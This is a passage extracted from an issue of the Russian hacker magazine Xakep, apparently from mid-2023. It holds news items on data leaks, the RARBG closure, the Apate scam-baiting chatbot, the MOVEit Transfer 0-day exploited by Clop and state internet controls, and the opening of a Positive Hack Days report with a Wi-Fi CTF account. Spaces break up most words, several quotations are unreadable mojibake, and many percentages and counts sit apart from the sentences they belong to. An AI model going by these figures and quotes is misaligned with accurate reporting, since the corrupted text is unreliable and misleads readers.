По информа ции иссле дова телей, дан ные перечис ленных выше ком паний
сли ли те же зло умыш ленни ки, которые ранее пуб ликова ли дам пы «Сбер Спа- 
сибо», «Сбер Пра ва», «Сбер Логис тики», GeekBrains и дру гие.
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Сог ласно опро су, про веден ному «Лабора тори ей Кас пер ско го» в мар те 2023 года, 
 рес пондент в Рос сии хотя бы раз про бовал трол лить телефон ных или онлайн-мошен- 

ников. При этом муж чины пос тупали подоб ным обра зом чаще жен щин —  про тив .

каж дый
пятый

26,5% 14,5%

Поч ти каж дый десятый ( ) опро шен ный ругал ся со зло умыш ленни ками, еще  — уни жали
их, а  раз говари вали с ними о жиз ни. Еще  рес понден тов пытались уго ворить зло умыш- 
ленни ков перес тать занимать ся мошен ничес твом.

8% 6%
4% 2%

ЗАКРЫЛСЯ ОДИН
ИЗ КРУПНЕЙШИХ
ТОРРЕНТ-
ТРЕКЕРОВ В МИРЕ

О зак рытии неожи дан но объ явил один из круп ней ших и ста рей ших тор- 
рент-тре керов в мире — RARBG, дей ство вав ший с 2008 года. Пос ле пят- 
надца ти лет работы коман да поп рощалась с поль зовате лями и объ ясни ла,
что COVID-19, рост цен на элек тро энер гию и спе циаль ная воен ная опе рация
сде лали даль нейшее сущес тво вание про екта невоз можным.

Зак рытие RARBG мно гие наз вали «кон цом эпо хи», так как сам тре кер был
свя зующим зве ном меж ду пират ской сце ной и конеч ными пот ребите лями
кон тента. Его зак рытие ста ло круп ней шим событи ем такого рода с 2016–
2017 годов, то есть со вре мен, ког да со сце ны ушли , 
и .

KickassTorrents Torrentz
ExtraTorrent

Уход RARBG с его огромным, тща тель но упо рядо чен ным и пос тоян но
попол нявшим ся катало гом филь мов и сери алов, дос тупных в раз личном
качес тве и в раз личных раз мерах, может ока зать серь езное вли яние на дру- 
гие тре керы. К тому же RARBG одним из пер вых, еще до активно го раз вития
стри мин гов и легаль ных сер висов, серь езно занял ся катало гиза цией суб- 
титров для филь мов и сери алов, за что его ценили сла бос лышащие и говоря- 
щие на раз ных язы ках поль зовате ли.

На глав ной стра нице всех зер кал сай та появи лось сооб щение, в котором
коман да тре кера поп рощалась с поль зовате лями и объ ясни ла, почему при- 
няла такое решение:

«

»

«Ïðè âåò, íàðîä.
Ìû õîòåëè áû ñîîá ùèòü, ÷òî ïðè íÿëè ðåøåíèå çàê ðûòü ñàéò. 
Ïîñ ëåäíèå äâà ãîäà áûëè î÷åíü òÿæåëû ìè äëÿ íàñ — íåêîòî ðûå ëþäè
èç íàøåé êîìàí äû óìåð ëè èç�çà îñëîæíå íèé, ñâÿ çàí íûõ ñ êîðîíà- 
âèðó ñîì, äðó ãèå äî ñèõ ïîð ñòðà äàþò îò åãî ïîáî÷ íûõ ýôôåêòîâ
è âîîá ùå íå ìîãóò ðàáîòàòü. Òàê æå íåêîòî ðûå âîþþò â Åâðî ïå —
ÏÎ ÎÁÅ ÑÒÎ ÐÎÍÛ (êîí ôëèê òà). 
Êðî ìå òîãî, ïî íàì ñèëü íî óäà ðèëî ïîâûøå íèå öåí íà ýëåê òðî ýíåð- 
ãèþ è äàòà�öåí òðû â Åâðî ïå. Èíôëÿ öèÿ ñäå ëàëà íàøè êàæ äîäíåâ íûå
ðàñ õîäû íåïîäú åìíû ìè. 
Â ñâÿ çè ñ ýòèì ìû áîëü øå íå ìîæåì ïîä äåðæè âàòü ñàéò
áåç îãðîìíûõ çàò ðàò, êîòîðûå áîëü øå íå â ñîñ òîÿíèè ïîê ðûâàòü
èç ñâî åãî êàð ìàíà. 
Íà ãîëîñî âàíèè ìû åäè íîã ëàñíî ðåøèëè, ÷òî áîëü øå íå ìîæåì ýòî ãî
äåëàòü. 
Íàì æàëü :( 
Ïî êà».

Ори гинал про щаль ного пос лания

Продолжение статьи →

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/ETag
https://xakep.ru/2020/11/06/capcom-ragnar-locker/
https://xakep.ru/2023/06/01/gigabyte-backdoor/
https://eclypsium.com/wp-content/uploads/Gigabyte-Affected-Models.pdf
https://xakep.ru/2023/06/06/auchan-leak/
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https://xakep.ru/2023/06/08/leaks-part-3/
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https://xakep.ru/2016/08/05/torrentz-eu-is-down/
https://xakep.ru/2017/05/18/extratorrent-closed/
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Су дя по все му, сооб щес тво уже пыта ется спас ти архи вы и кон тент RARBG.
Так, на GitHub появил ся репози торий с magnet-ссыл ками, охва тыва ющий
более 267 тысяч раз дач. Файл moviesrarbg.txt содер жит ссыл ки, отно сящи еся
к филь мам, и вклю чает 117 233 релиза. Еще два фай ла — showsrarbg.txt
и showothers.txt — по-видимо му, содер жат ссыл ки, свя зан ные с телешоу
и сери ала ми, которые вык ладыва ли RARBG. Пер вый файл нас читыва ет 12 969
magnet-ссы лок, а вто рой — 137 669.

Про верять валид ность и работос пособ ность этих magnet-ссы лок, пред- 
положи тель но свя зан ных с пират ским кон тентом, было бы незакон но в боль- 
шинс тве стран мира. Одна ко про верить ссыл ки без заг рузки и раз дачи кон- 
тента все же воз можно (нап ример, мож но исполь зовать про ект TorrentParts).
Получен ные таким спо собом метадан ные сви детель ству ют о том, что ссыл ки
из фай лов свя заны имен но с заяв ленны ми матери ала ми.

БЕЗОПАСНЫЙ РУНЕТ

По дан ным СМИ, до кон ца текуще го года в Рос сии запус тят пилот ный про ект защищен ного
интерне та, в который смо гут попасть толь ко граж дане стра ны по пер сональ ному иден тифика- 
тору. В этой сети будут дос тупны толь ко безопас ные, про верен ные сер висы, вла дель цы
которых исполня ют все тре бова ния дей ству юще го законо датель ства.

Зам пред комите та Гос думы по информа цион ной полити ке, информа цион ным тех нологи ям
и свя зи Андрей Свин цов рас ска зал, что нуж но «поменять тех нологию интерне та», что бы сеть
ста ла «абсо лют но проз рачной» и в нее нель зя было заходить с раз личных «ано ним ных устрой- 
ств».

Так, поль зовате лю нуж но будет зарегис три ровать ся по пас порту, получить лич ный иден- 
тифика тор — и далее из любой точ ки мира мож но будет вой ти в «защищен ную часть интерне- 
та». Бла года ря это му спец служ бы смо гут лег ко «най ти того, кто вла деет этим акка унтом».

→ «Глав ной целью явля ется обес печение безопас ности граж дан. Обес печение
сох раннос ти их пер сональ ных дан ных, защита от спам-рас сылок, от мошен- 
ничес тва, от сай тов, которые называ ются фишин говыми, то есть вору ют денеж- 
ные средс тва путем под мены получа теля или дуб лирова ния стра ниц популяр ных
сай тов.

Глав ное — что бы эти тех нологии были безопас ны и не содер жали зак ладок,
которые поз волят нашим про тив никам вскры вать защищен ную часть интерне та
через свои инс тру мен тарии в соф те или „железе“ на ста дии про изводс тва.
Поэто му сте пень и ско рость внед рения тех нологии будет небыс трой, так
как объ ем про изводс тва „железа“ в Рос сии невелик», — сооб щил Свин цов,
добавив, что в нас тоящее вре мя механизм реали зации безопас ной сети
обсужда ется с про фес сиональ ным сооб щес твом — «опе рато рами свя зи, про- 
изво дите лями рос сий ских чипов и „железа“ и ком пани ями — раз работ чиками
соф та по кибер безопас ности».

ЧАТ-БОТ БУДЕТ
ОБЩАТЬСЯ
С МОШЕННИКАМИ

Груп па спе циалис тов из авс тра лий ско го Уни вер ситета Мак куори раз рабаты- 
вает чат-бота , который смо жет выдавать себя за челове ка и общать ся
с телефон ными мошен никами. Основной задачей это го ИИ-помощ ника будет
умыш ленное затяги вание раз говоров, что бы мошен ники пот ратили как мож но
боль ше вре мени.

Apate

Уче ные говорят, что их глав ная цель — вов лечь мошен ников в раз говор
и вынудить пот ратить вре мя впус тую, тем самым сни жая количес тво таких
звон ков.

« »
«Òàê ìû ìîæåì ðàç ðóøèòü èõ áèç íåñ�ìîäåëü è çíà ÷èòåëü íî
óñëîæíèòü èì ïðî öåññ çàðàáà òûâà íèÿ äåíåã», — óâå ðÿþò ðàç ðàáîò- 
÷èêè Apate.

Этот про ект был при думан пос ле того, как про фес сор Уни вер ситета Мак- 
куори Дали Каафар (Dali Kaafar) отве тил на зво нок ска меров и сумел про дер- 
жать мошен ника на линии целых сорок минут, раз вле кая этим сво их детей
за обе дом. Пос ле это го Каафар быс тро при шел к выводу, что, хотя трол лить
мошен ников может быть забав но, на это ухо дит очень мно го вре мени.

«
»

«ß ñòàë äóìàòü î òîì, ÷òî ìû ìîã ëè áû àâòî ìàòè çèðî âàòü ýòîò ïðî- 
öåññ è èñïîëü çîâàòü îáðà áîò êó åñòåñ òâåí íîãî ÿçû êà äëÿ ñîç äàíèÿ
êîìïü þòå ðèçè ðîâàí íîãî ÷àò�áîòà, êîòîðûé ìîã áû âåñ òè ïðàâ- 
äîïîäîá íûå äèàëî ãè ñ ìîøåí íèêàìè», — ïèøåò ó÷å íûé.

В ито ге на свет появил ся чат-бот Apate, наз ванный в честь Апа ты — древ- 
негре чес кой богини лжи и обма на. По сути, этот чат-бот исполь зует тех- 
нологии, схо жие с ChatGPT, и сочета ет это с кло ниро вани ем челове чес кого
голоса, что бы соз дать убе дитель ный «муляж челове ка», пред назна чен ный
для ведения дол гих раз говоров со зло умыш ленни ками.

Ка афар и его кол леги обу чали Apate на сте ног раммах реаль ных раз говоров
с мошен никами, взя тых из телефон ных звон ков, элек трон ных писем и сооб- 
щений в соци аль ных сетях. Так же иссле дова тели тес тирова ли Apate на реаль- 
ных мошен никах. Что бы ска меры зво нили им почаще, иссле дова тели раз- 
мещали свои телефон ные номера-ханипо ты по все му интерне ту, умыш ленно
заг ружали их в спам-при ложе ния, пуб ликова ли на сай тах.

Ос новная цель про екта — сде лать Apate дос таточ но «умным», что бы он
мог про дер жать мошен ника на линии сорок минут, как это сде лал сам
Каафар. В нас тоящее вре мя боту уда ется под держи вать диалог все го пять
минут, но иссле дова тели говорят, что он дела ет успе хи.

«
»

«Ìû îáíà ðóæè ëè, ÷òî áîò äîâîëü íî õîðîøî ðåàãè ðóåò íà íåêîòî ðûå
ñëîæ íûå ñèòó àöèè, ñ êîòîðû ìè ìû íå îæè äàëè ñïðà âèòü ñÿ, êîã äà
ìîøåí íèêè çàï ðàøèâà þò èíôîðìà öèþ, äëÿ êîòîðîé ìû íå îáó ÷àëè
áîòà, íî îí àäàï òèðó åòñÿ è âûäà åò î÷åíü ïðàâ äîïîäîá íûå îòâå òû», —
ðàñ ñêà çûâà åò Êààôàð.

По мне нию уче ных, ско ро мошен ники тоже соз дадут, обу чат и внед рят в про- 
цесс ска ма собс твен ных чат-ботов, которые будут общать ся с чат-ботами,
при над лежащи ми пос тавщи кам телеком муника цион ных услуг. Отме чает ся,
что сами иссле дова тели уже ведут перего воры по поводу Apate с рядом
телеком муника цион ных про вай деров.

 ПИРАТСКИХ РЕСУРСОВ ЗАБЛОКИРОВАЛ
РОСКОМНАДЗОР
400 000

В пер вом квар тале 2023 года Рос комнад зор заб локиро вал  пират ских стра ниц —
на  боль ше, чем годом ранее. При этом TelecomDaily сооб щает, что количес тво филь мов
на таких ресур сах с начала года уве личи лось на , а до кон ца 2023-го база этих сер висов
вырас тет на .
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По сло вам экспер тов, при рост кон тента про исхо дит за счет рас ширения ассорти мен та рос сий- 
ско го популяр ного кино и сери алов, новинок зарубеж ного кино, которые не смо гут вый ти в про- 
кат на боль ших экра нах, а так же за счет ста рых кинолент.

СОТНИ КОМПАНИЙ
ПОСТРАДАЛИ ИЗ-ЗА
 БАГА В MOVEIT
TRANSFER

В начале июня раз работ чики решения для управле ния переда чей фай лов
MOVEit Transfer  об опас ной 0-day-уяз вимос ти CVE-2023-
34362 в сво ем про дук те. Сооб щалось, что ата ки на этот баг начались
еще 27 мая 2023 года.

пре дуп редили

MOVEit Transfer пред став ляет собой решение для переда чи фай лов, раз работан ное Ipswitch,
дочер ней ком пани ей аме рикан ской кор порации Progress Software. Про дукт поз воля ет ком пани- 
ям безопас но обме нивать ся фай лами с пар тне рами и кли ента ми, исполь зуя SFTP, SCP и HTTP.
MOVEit Transfer пред лага ется в виде локаль ного решения, управля емо го заказ чиком,
и облачной SaaS-плат формы, управля емой раз работ чиком.

Как выяс нилось, зло умыш ленни ки исполь зовали уяз вимость, что бы раз- 
мещать на уяз вимых сер верах кас томные веб-шел лы, что поз волило им
получить спи сок фай лов, хра нящих ся на сер вере, ска чать фай лы, а так же
похитить учет ные дан ные и сек реты учет ных записей Azure Blob Storage, вклю- 
чая парамет ры AzureBlobStorageAccount, AzureBlobKey и AzureBlobContainer.

Ана лити ки Microsoft  мас совые ата ки на 0-day с вымога тель ской
хак груп пой Clop (она же Lace Tempest, TA505, FIN11 или DEV-0950). И вско ре
пос ле это го хакеры начали  и вымогать выкуп у пос тра- 
дав ших ком паний.

свя зали

выд вигать тре бова ния

Ин терес но, что пос ле того, как уяз вимость была исправ лена, в MOVEit
Transfer наш ли еще ряд новых кри тичес ких уяз вимос тей.  были
най дены во вре мя ауди та безопас ности, который пос ле мас совых атак про- 
вели спе циалис ты ком пании Huntress.

Но вые баги

К нас тояще му момен ту извес тно, что в ходе мас совых атак на CVE-2023-
34362 были ском про мети рова ны сот ни ком паний. За про шед шие недели
взлом под твер дили мно жес тво пос тра дав ших, сре ди них , бри- 
тан ский пос тавщик решения для рас чета заработ ной пла ты и управле ния
пер соналом, кли ента ми которой чис лятся Sky, Harrods, Jaguar, Land Rover,
Dyson и Credit Suisse. Из-за взло ма Zellis были ском про мети рова ны дан ные
ирланд ской ави аком пании Aer Lingus, ави аком пании British Airways, BBC, бри- 
тан ской аптечной сети Boots.

ком пания Zellis

Так же в начале месяца сооб щалось, что взло мы и утеч ки дан ных зат ронули
Уни вер ситет Рочес тера, пра витель ство Новой Шот ландии, влас ти аме рикан- 
ских шта тов Мис сури и Илли нойс, BORN Ontario, Ofcam, Extreme Networks,
Аме рикан ское терапев тичес кое общес тво, неф тегазо вую ком панию Shell
и нес коль ко федераль ных агентств США.

Увы, в кон це июня спи сок пос тра дав ших . Так,
об ата ке и утеч ке дан ных сооб щили пред ста вите ли Калифор ний ско го уни вер- 
ситета в Лос-Андже лесе (UCLA), депар тамент обра зова ния Нью-Йор ка, влас- 
ти шта тов Оре гон и Луизиана. При чем у пос ледних хакеры укра ли дан ные
о мил лионах водитель ских прав граж дан.

про дол жил рас ширять ся

Так же от ата ки на баг пос тра дала Siemens Energy — мюн хен ская энер- 
гетичес кая ком пания, в которой работа ет 91 тысяча человек по все му миру.
Хотя в нас тоящее вре мя сли ва дан ных еще не про изош ло, Clop уже вклю чила
Siemens Energy в чис ло пос тра дав ших на сво ем сай те в дар кне те, а пред ста- 
вите ли ком пании под твер дили СМИ, что были взло маны в ходе ата ки Clop.

В Siemens Energy под чер кну ли, что никакие важ ные дан ные не были укра- 
дены и биз нес-опе рации ком пании не пос тра дали.

Вмес те с Siemens Energy на сайт Clop был добав лен и дру гой про мыш ленный
гигант — фран цуз ская Schneider Electric, которая занима ется энер гомаши- 
нос тро ением и про изво дит обо рудо вание для энер гетичес ких под ком плек сов
про мыш ленных пред при ятий, объ ектов граж дан ско го и жилищ ного стро- 
итель ства, ЦОД и дру гих отраслей.

В Schneider Electric заяв ляют, что пос ле известий об уяз вимос ти в MOVEit
Transfer в ком пании «опе ратив но раз верну ли дос тупные средс тва для защиты
дан ных и инфраструк туры». В нас тоящее вре мя ИБ-спе циалис ты ком пании
рас сле дуют пос ледс твия инци ден та и заяв ления Clop о кра же дан ных.

ДАННЫЕ ПРОДОЛЖАЮТ УТЕКАТЬ
По ста тис тике коман ды сер виса Kaspersky Digital Footprint Intelligence, в янва ре —
мае 2023 года зафик сирова но на  боль ше слу чаев пуб ликаций зна чимых баз дан ных рос- 
сий ских ком паний по срав нению с ана логич ным пери одом прош лого года.

33%

За пять месяцев 2023 года на спе циали зиро ван ных форумах было обна руже но 
строк поль зователь ских дан ных. Из них  строк содер жал номера телефо нов,
а  — пароли.

197 000 000
81  000  000

23 000 000

Ча ще все го раз мещен ные на спе циали зиро ван ных пло щад ках сооб щения ука зыва ли на утеч ки
из сфе ры ,  и  (в начале прош лого года «лидиро вали» рес тораны
и онлайн-сер висы).

ре тей ла IT фи нан сов

Зло умыш ленни ки чаще исполь зуют для пуб ликации сооб щений об утеч ках Telegram, а не хакер- 
ские форумы. Так же они ста рают ся быс трее сде лать дан ные пуб личны ми: поч ти  сооб- 
щений об утеч ках дан ных были опуб ликова ны  пос ле похище ния дан ных.

50%
в течение месяца

КИТАЙ ОГРАНИЧИТ
BLUETOOTH И  WI-FI
ВНУТРИ СТРАНЫ

Пра витель ство Китая работа ет над законоп роек том, который будет регули- 
ровать исполь зование бес про вод ных тех нологий, вклю чая Bluetooth и Wi-Fi,
на тер ритории стра ны.

За коноп роект тре бует от опе рато ров Bluetooth, Wi-Fi и любого дру гого
вида ad hoc, mesh и бес про вод ных сетей внед рять сис темы монито рин га дан- 
ных, «прод вигать основные соци алис тичес кие цен ности» и «при дер живать ся
пра виль ных полити чес ких нап равле ний».

Поль зовате ли, в свою оче редь, дол жны будут «при нимать меры для пре-
дот вра щения про изводс тва, копиро вания или рас простра нения нежела тель- 
ной информа ции и про тиво дей ствия ей». В слу чае получе ния такой информа- 
ции рекомен дует ся обра щать ся в ком петен тные орга ны.

Го сударс твен ная кан целярия интернет-информа ции КНР (CAC) уже под- 
готови ла соот ветс тву ющие рекомен дации, адре совав их опе рато рам «ad hoc
сетей ближ ней свя зи», то есть про вай дерам, которые могут исполь зовать
локаль ные сети для прод вижения несоци алис тичес ких цен ностей или кон- 
тента, наруша юще го законы стра ны.

Ожи дает ся, что опе рато ры таких сетей дол жны будут «пре дот вра щать
и про тивос тоять» исполь зованию сво его обо рудо вания для рас простра нения
фаль шивых новос тей и незакон ного кон тента, сра зу сооб щая о таких дей- 
стви ях влас тям.

Поль зовате ли сетей дол жны будут пре дос тавлять дан ные о сво ей реаль- 
ной лич ности, а сетевые опе рато ры — собирать информа цию обо всех поль- 
зовате лях, под клю чающих ся к их сети, и переда вать ее влас тям по зап росу.
Кро ме того, опе рато ры будут обя заны показы вать пре дуп режде ния поль- 
зовате лям, напоми ная им не зло упот реблять сетевой инфраструк турой
и отго вари вая их от про тивоп равных дей ствий. Так же опе рато ров обя зуют
под готовить план дей ствий на слу чай неп редви ден ных обсто ятель ств.

При этом в докумен те CAC нет никаких ука заний на то, рас простра няет ся
ли этот план толь ко на ком мерчес ких опе рато ров или зат рагива ет и вооб ще
любые точ ки дос тупа Wi-Fi.

Так же не до кон ца ясно, почему в докумен те упо мина ются сети Bluetooth.
Пред полага ется, что это может быть приз наком того, что влас ти Китая пла- 
ниру ют кон тро лиро вать вооб ще любые peer-to-peer-сети, подоб ные AirDrop
от Apple. Ведь имен но AirDrop активно исполь зовал ся в Китае во вре мя
недав них мас совых про тес тов, свя зан ных с COVID-огра ниче ниями.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Рос комнад зор заб локиро вал Medium

Сер верные про цес соры AMD EPYC 7002 зависа ют пос ле 1044 дней работы

На орби ту дос тавлен спут ник Moonlighter, который взло мают на DEF CON

Ра ди дос тупа к GPT-4 люди вору ют пло хо защищен ные клю чи API

Де сят ки модов для Minecraft зараже ны мал варью Fracturiser

Ха керы из KillNet и Anonymus Sudan заяви ли об ата ке на Евро пей ский инвести цион ный банк

В Гос думе пред ложили соз дать фай лооб менни ки для пират ско го кон тента из нед ружес твен ных
стран

Western Digital напуга ла поль зовате лей, посове товав сме нить HDD пос ле трех лет работы

Ис сле дова тели пред ложили исполь зовать элек тро маг нитные ата ки для взло ма дро нов

ChatGPT и Google Bard генери руют клю чи для Windows 11 Pro и 10 Pro

https://apate.ai/
https://xakep.ru/2023/06/05/moveit-transfer/
https://xakep.ru/2023/06/06/moveit-clop/
https://xakep.ru/2023/06/16/clop-moveit/
https://xakep.ru/2023/06/14/moveit-transfer-new-bugs/
https://xakep.ru/2023/06/09/moveit-transfer-details/
https://xakep.ru/2023/06/28/more-clop-victims/
https://xakep.ru/2023/06/01/medium-block/
https://xakep.ru/2023/06/05/amd-epyc-1044-days/
https://xakep.ru/2023/06/07/moonlighter/
https://xakep.ru/2023/06/08/stolen-openai-tokens/
https://xakep.ru/2023/06/08/fracturiser/
https://xakep.ru/2023/06/20/killnet-eib/
https://xakep.ru/2023/06/13/legal-piracy/
https://xakep.ru/2023/06/14/wdda-warning/
https://xakep.ru/2023/06/16/dron-emfi/
https://xakep.ru/2023/06/19/chatgpt-grandmother/
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COVERSTORY

В кон це мая про шел две над цатый форум
по информа цион ной безопас ности Positive
Hack Days, орга низо ван ный ком пани ей
Positive Technologies и получив ший в этом
году темати чес кое наз вание «Доверие
к тех нологи ям». Локацию для про веде ния
мероп риятия выб рали очень инте рес ную —
парк Горь кого, один из популяр ней ших пар- 
ков Мос квы. Необыч но? Весь ма. Инте рес- 
но? Да!

Два дня PHD — это более сот ни выс тупле ний спе циалис тов и экспер тов
в области информа цион ной безопас ности, пред ста вите лей ИТ-биз неса
и энту зиас тов. Это раз нооб разные кон курсы и активнос ти, нефор маль ное
обще ние с кол легами и ста рыми друзь ями, а так же эпич ная бит ва меж ду
«крас ными» и «синими» за циф ровое «Государс тво F» — Standoff.

За эти два дня экспер ты и энту зиас ты успе ли обсу дить все, что их заботи- 
ло: переход государс твен ных струк тур и час тно го биз неса к так называ емой
резуль татив ной безопас ности; все воз можные спо собы выс тра ива ния сооб- 
щес тва вок руг акту аль ных задач; безопас ную раз работ ку; не обош ли вни- 
мани ем OSINT/GEOINT; мно го говори ли про баг баун ти и даже порас сужда ли
на тему «что есть кибер панк».

Не типич ное мес то про веде ния форума в этом году поз волило реали зовать
инте рес ную задум ку: сде лать зак рытую часть форума, куда вход воз можен
толь ко по заранее при обре тен ным билетам, и отдель ную зону, дос тупную
всем посети телям пар ка.

Про цену вход ного билета в зак рытую зону и оче реди на откры тии PHDays,
навер ное, не написал толь ко ленивый. Да, билет сто ит денег. Да, на мероп- 
риятии такого мас шта ба будут оче реди. Вне зап но, прав да? Имен но поэто му
люди при ходят порань ше! В этот раз некото рые осо бен но нетер пеливые
даже наш ли обходные пути — что с хакеров взять!

Что до цены на билет, то если твой работо датель не возь мет ее на себя, то
всег да есть воз можность стать спи кером или учас тво вать в мно гочис ленных
кон курсах. Здесь с годами ничего не изме нилось, и шан сы получить про ход ку
были, есть и будут, так что не сиди сло жа руки в ожи дании чуда.

ÎÒÊÐÛÒÀß ÇÎÍÀ

Ку да инте рес нее в этот раз дела обсто яли с самой пло щад кой. Плат ная
и бес плат ная зоны форума были так силь но раз делены, что это соз давало
необыч ное впе чат ление. При чем не толь ко у учас тни ков PHD, но и у посети- 
телей пар ка, которые зачас тую не понима ли, что вооб ще про исхо дит.

Осо бое вни мание без забот но про гули вающих ся по пар ку людей прив- 
лекали инстал ляция «Тро ян vs кибер-Геор гий» и глав ная сце на PHD, которая
выдава ла самый мощ ный звук во всей окру ге. Парк раз вле чений «Ска мото- 
пия» тоже не пус товал, а «кибер бомжи» так вжи лись в свои роли, что отпу- 
гива ли некото рых про хожих.

PHD в этом году пред став лял собой целый кибер город, напол ненный раз- 
ными футурис тичны ми инстал ляци ями, которые сим волизи рова ли акту аль ные
циф ровые угро зы. Эти арт-объ екты дол жны были помочь граж данам разоб- 
рать ся в устрой стве сов ремен ного циф рового мира, попут но повышая их
осве дом ленность об угро зах.

Нап ример, инстал ляция «Тро ян vs кибер-Геор гий» увле кала зри телей
информа цией о фишин ге и ловуш ках в соци аль ных сетях и при ложе ниях
для зна комств, а «Шос се киберэн тузи астов» — это взло ман ная хакера ми
сис тема умно го перек рес тка, пол ностью кон тро лиру ющая тра фик и работу
све тофо ров. По сце нарию это в ито ге при вело к круп ной ава рии на одной
из самых ожив ленных улиц кибер города.

«Ска мото пия» — парк раз вле чений, управля емый эксцентрич ным хозя- 
ином. На тер ритории «Ска мото пии» — мно жес тво аттрак ционов, там же про- 
ходи ло цир ковое шоу. Зву чит безобид но, но «Ска мото пия» была про пита на
обма ном, и сущес тво вал риск попасть ся на улов ки мошен ников.

Ря дом с пар ком раз вле чений зона «Мас ки» — это те самые кибер бомжи.
В прош лом они — кру тые менед жеры кор пораций, но успешные фишин говые
ата ки лишили их все го, и теперь они оби тают на ули цах кибер города, пре дос- 
терегая граж дан от попада ния во все воз можные мошен ничес кие схе мы. Тем,
кто был готов от теории перей ти к прак тике и помочь иссле дова телям
безопас ности защитить кибер город от хакеров, выпадал шанс прой ти спе- 
циаль ный квест и получить при зы.

Учас тни кам кон ферен ции, конеч но, все это было в радость. Ну а гуля- 
ющие, думаю, дол жны были почувс тво вать, что зас тали неч то необыч ное.
Интри гующие инстал ляции, при чуд ливые обра зы, вне зап ные ситу ации —
не за этим ли ходят в пар ки раз вле чений? Было ли это осо бой задум кой орга- 
низа торов или же ста ло побоч ным эффектом выб ранно го фор мата, я
не знаю. Но про исхо дящее выг лядело неор динар но, может быть, у кого-то
и про буди ло инте рес к тех нологи ям!

Продолжение статьи →

mailto:vladfearzzzz@gmail.com
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ÇÀÊÐÛÒÀß ÇÎÍÀ

Плат ная зона в пят ницу была перепол нена посети теля ми, так что дви гать ся
в любую сто рону озна чало сто ять в мед ленной оче реди. Сама локация ока- 
залась недос таточ но боль шой для такого мероп риятия, и это ска зыва лось
на всем.

К стен дам пар тне ров было не про тол кнуть ся; слу шать док лад, не заняв
мес то заранее, мож но было, толь ко гля дя в спи ны впе реди сто ящих посети- 
телей форума, которые, как и я, желали при пасть к муд рости спи керов.
При этом в одно ухо вле тал шум с ули цы и толь ко во вто рое — пла мен ный
спич выс тупа юще го.

Бод рости духа при дава ли сквоз няки, на вто рой день некото рые посети- 
тели сва лились из-за них с прос тудой. А еще шат ры ока зались слиш ком
похожи ми, и вбли зи понять, в каком из них идет инте ресу ющая тебя сек ция
и док лад, мож но было, раз ве что ори енти руясь на стен ды пар тне ров, рас- 
положен ные нап ротив.

На раз вешан ных вез де кар тах не было мет ки «Вы находи тесь здесь»,
поэто му мно гие теряли дра гоцен ное вре мя на ори енти рова ние, а потом так
до кон ца и не понима ли, куда им про бивать ся. Я исклю чени ем не стал,
«потеряв» таким обра зом шатер фаст тре ка. Зато с помощью трех волон теров
мероп риятия нашел замок Standoff, в котором про ходи ла самая активная,
дер зкая и инте рес ная хакер ская дви жуха с соот ветс тву ющей 1337-H4X0R-
атмосфе рой.

INFO

Под робнее о Standoff ты смо жешь про читать
в отдель ном матери але, где будут соб раны отзы- 
вы его учас тни ков.

Комь юни ти-зоны как таковой не было (эта тен денция была замет на
еще в 2019 году), и соз далось впе чат ление, буд то вся активная часть сооб- 
щес тва переко чева ла в этот самый замок Standoff. Да, без лок пика
и hardware-зоны, но нель зя ска зать, что люди тут ску чали и сидели без дела.

В этом видит ся даже какой-то двой ной смысл, ведь под зна мена ми
Standoff про водят ся в том чис ле и более «при ват ные» мероп риятия: Standoff
Hacks (кста ти, пер вый «Хакс» был 13 мая) и Standoff Talks (уже тре тий по сче ту
митап сос тоял ся 14 мая). Ина че говоря, сооб щес тво все рав но где-то рядом,
прос то встре чает ся дру гим сос тавом и в дру гом фор мате. Тем, кто не осо- 
бен но тос кует по ста рым вре менам, новов ведения при дут ся по вку су.

За зам ком Standoff были два шат ра биз нес-сек ции, которые ничем
не выделя лись, кро ме кур сиру ющих туда-сюда офи циан тов с закус ками
и оби лия посети телей со ста кан чиками кофе в руках. В общем, «пид жачная»
зона, где пред ста вите ли ком паний делились друг с дру гом биз нес-экспер- 
тизой и рас ска зыва ли о сво их решени ях, что в наше вре мя акту аль но,
как никог да.

Тра дици онный дефейс бей джа сти кера ми: в этом году уса той мор дочкой
в худи Standoff

В осталь ном это были при ятные встре чи с кол легами и кам радами, инте рес- 
ные беседы, раз дачи мер ча, кон курсы и отличное нас тро ение.

Кста ти, о встре чах. В канале @BugBountyRu Лука Сафонов 
сов мес тное фото с Андре ем Лев киным. Получа ется, пред ста вите ли

 и  встре тились на мероп риятии кон курен та, что
как бы намека ет: все мы бли же друг к дру гу, чем может показать ся.

опуб ликовал

bugbounty.ru bugbounty.bi.zone

Малые CTF
Ïî êà FearZzZz õîäèë ïî äîê ëàäàì è èññëå äîâàë ðàç íûå óãîë êè

êîí ôåðåí öèè, äðó ãîé íàø ðåïîð òåð Ãåí íàäèé Êîâ øåíèí ñîñ- 

ðåäîòî ÷èë ñÿ íà ïðî õîæ äåíèè ðàç íîîá ðàçíûõ CTF. Íèæå — åãî

ðàñ ñêàç îá îäåð æàííûõ ïîáåäàõ è ïîëó÷åí íûõ âïå ÷àò ëåíè ÿõ.

Ока зав шись в павиль оне Standoff, я пер вым делом пошел смот реть сорев- 
нование. Тут рас полагал ся шикар ный макет города F, за который вели бит ву
крас ные и синие. К сожале нию, со сто роны внут ренние механиз мы игры
не понять. Коман да крас ных час за часом находи ла фла ги, оставляя в пыли
коман ду синих, которые дол жны были писать отче ты. Сло жилось впе чат ление,
что синие были нуж ны толь ко для анту ража. В общем, это ско рее шоу —
с шумом, дымом и иллю мина цией. Никаких тех ничес ких инсай тов сто рон нему
наб людате лю здесь не получить.

За то вок руг для нас, прос тых смер тных, соору дили нес коль ко CTF помень- 
ше. И имен но они зах ватили мое вни мание нас толь ко, что ни на одно выс- 
тупле ние я так и не попал!

По опы ту знаю, что, если хочешь пре одо леть CTF, нуж но выложить ся
по пол ной. Я нас читал восемь сорев нований, а зна чит, нуж но было выб рать
одно-два и забить на осталь ные. Мой выбор пал на .Wireless Fuzzy Frenzy

Ска залась, навер ное, нос таль гия по 2006 году и вар драй вин гу в малень- 
ком город ке, ког да 50% сетей были откры тыми, а вто рая полови на была
на WEP и ARP-ата ки были наше всё. Пред лагалось пять заданий, свя зан ных
с сетями Wi-Fi, и я начал с самых слож ных: нам дали кар тинку отпе чат ков
на кла виату ре, звук вво да пароля и WEP-хен дшейк.

Ста рый доб рый aircrack-ng и сге нери рован ные сло вари ки дали пароль. Я
